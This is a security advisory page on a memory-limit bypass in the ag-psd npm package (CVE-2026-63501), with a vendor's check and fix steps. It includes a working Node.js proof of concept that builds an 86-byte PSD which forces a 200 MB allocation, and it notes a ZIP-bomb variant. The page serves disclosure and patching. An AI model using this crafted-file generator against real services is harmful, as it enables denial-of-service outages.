high · 7.5 Patched

ag-psd: Uncontrolled Memory Allocation in PSD Layer Decoding (totalMemoryLimit bypass)

CVE-2026-63501 · GHSA-6w3r-6hpr-hp6p · published 9 Nov 2026

How serious is it

  • Severity: high, CVSS score 7.5 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-63501?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • ag-psd (npm) <= 31.0.0

How to check

  1. Run npm ls ag-psd in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
  3. Or run npx shippable-dev scan localhost:3000 in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade ag-psd to 31.0.1 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

### Summary The `readPsd()` function in `ag-psd` accepts a `totalMemoryLimit` option to cap memory usage when parsing untrusted PSD files, but this limit is never forwarded to the layer image buffer allocation path. A property name mismatch (`totalMemoryLimit` vs. `memoryLimit`) causes the size guard inside `createImageDataBitDepth` to be skipped unconditionally. An attacker who can supply a crafted PSD to any application using `ag-psd` for server-side parsing can force an unbounded heap allocation — a 5000×5000 layer in a 86-byte file allocates 200 MB — leading to denial of service through process memory exhaustion regardless of what limit the caller specified. ### Details `readPsd()` (exported from `src/index.ts:22`) wraps caller-supplied bytes in a `PsdReader` object that inherits `ReadOptions`, which defines `totalMemoryLimit?: number` (`src/psd.ts:1819`). A default of 2 GB is written into the reader at `src/psdReader.ts:237`. When the parser reaches a layer, it calls `decodeLayerImageData(layer, reader)` at `src/psdReader.ts:568-569`, passing the `reader` object directly as the second argument. The `decodeLayerImageData` function signature is: ```ts // src/psdReader.ts:639-642 function decodeLayerImageData(layer: Layer, options: { useImageData?: boolean, throwForMissingFeatures?: boolean, memoryLimit?: number // ← expects "memoryLimit", not "totalMemoryLimit" }) { const imageData = getDataFromLayer(layer, ..., options.memoryLimit); ``` Because `reader` has `totalMemoryLimit` but not `memoryLimit`, `options.memoryLimit` evaluates to `undefined`. This value is passed down to `createImageDataBitDepth` at `src/psdReader.ts:684`: ```ts // src/psdReader.ts:671-684 const layerWidth = (layer.right || 0) - (layer.left || 0); const layerHeight = (layer.bottom || 0) - (layer.top || 0); // ... imageData = createImageDataBitDepth(layerWidth, layerHeight, bitsPerChannel, 4, memoryLimit); ``` Inside `createImageDataBitDepth`, the size guard at `src/psdReader.ts:861-864` is: ```ts const sizeInBytes = width * height * channels * Math.max(1, bitDepth / 8); if (memoryLimit !== undefined && sizeInBytes > memoryLimit) throw new Error('Exceeded memory limit'); ``` Because `memoryLimit` is `undefined`, the condition is always false. The allocation proceeds unconditionally at `src/psdReader.ts:872`: ```ts return new Uint16Array(width * height * channels); // attacker-controlled size ``` A secondary unbounded allocation exists at `src/psdReader.ts:1138-1139`, where `inflateSync(compressed)` decompresses ZIP-encoded channel data without any cap on the output size, enabling a similar DoS via ZIP bomb payloads. ### PoC **Environment setup** ```bash # Clone and build ag-psd at the affected commit git clone https://github.com/Agamnentzar/ag-psd.git cd ag-psd git checkout e64f0c96a5b8f9ea7c79599d08bbcfc57345b781 npm ci npm run build ``` **Build and run with Docker (self-contained)** ```bash # From the report directory (containing vuln-001/ and repo/) docker build -t ag-psd-vuln-001 -f vuln-001/Dockerfile . docker run --rm -e APP_DIR=/app -e RESULT_DIR=/tmp ag-psd-vuln-001 ``` **Manual reproduction (Node.js inline)** ```js // save as exploit.js and run: node exploit.js require('./initialize-canvas'); const { readPsd } = require('./dist'); const u16 = n => { const b = Buffer.alloc(2); b.writeUInt16BE(n); return b; }; const i16 = n => { const b = Buffer.alloc(2); b.writeInt16BE(n); return b; }; const u32 = n => { const b = Buffer.alloc(4); b.writeUInt32BE(n); return b; }; const i32 = n => { const b = Buffer.alloc(4); b.writeInt32BE(n); return b; }; const sec = (buf, r = 1) => Buffer.concat([u32(buf.length), buf, Buffer.alloc((r - buf.length % r) % r)]); const w = 5000, h = 5000; // Layer record: top=0, left=0, bottom=5000, right=5000, 0 channels, blending info, extra=0 const layer = Buffer.concat([ i32(0), i32(0), i32(h), i32(w), u16(0), Buffer.from('8BIMnorm'), Buffer.from([255, 0, 0, 0]), u32(0), ]); // PSD header: sig, version=1, reserved, channels=3, height=1, width=1, depth=16, colorMode=RGB const psd = Buffer.concat([ Buffer.from('8BPS'), u16(1), Buffer.alloc(6), u16(3), u32(1), u32(1), u16(16), u16(3), sec(Buffer.alloc(0)), // ColorModeData sec(Buffer.alloc(0)), // ImageResources sec(sec(Buffer.concat([i16(1), layer]), 2)), // LayerAndMaskInfo u16(0), Buffer.alloc(6), // ImageData (raw, minimal) ]); const before = process.memoryUsage(); const out = readPsd(psd, { useImageData: true, totalMemoryLimit: 1024 }); const after = process.memoryUsage(); console.log('PSD_BYTES=' + psd.length); // 86 console.log('LAYER_IMAGE_BYTES=' + out.children[0].imageData.data.byteLength); // 200000000 console.log('ARRAYBUFFER_DELTA=' + (after.arrayBuffers - before.arrayBuffers)); // 200000000 ``` **Expected output** ``` PSD_BYTES=86 TOTAL_MEMORY_LIMIT_OPTION=1024 LAYER_IMAGE_BYTES=200000000 ARRAYBUFFER_DELTA=200000000 RSS_BEFORE_KB=55052 RSS_AFTER_KB=250508 VULN_001_EXPLOITED=true PASS: totalMemoryLimit=1024 was bypassed; allocated 200000000 bytes in a single layer image buffer ``` A 1 KB `totalMemoryLimit` is completely ignored; a 190 MB buffer is allocated from an 86-byte PSD file. ### Impact This is a Denial of Service (DoS) vulnerability. Any application that uses `ag-psd` to parse PSD files supplied by external users — such as web services offering PSD preview, conversion, or editing — is vulnerable. An unauthenticated remote attacker can send a single crafted PSD file (as small as 86 bytes) to exhaust process heap memory, causing the Node.js process to crash or be killed by the OS OOM killer. The `totalMemoryLimit` option, which is the only documented defense against this class of attack, is silently non-functional due to the property name mismatch. No authentication, credentials, or special privileges are required. The bug lies on the default parser path and …

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database, OSV. Last updated 10 Nov 2026. All vulnerabilities · RSS · JSON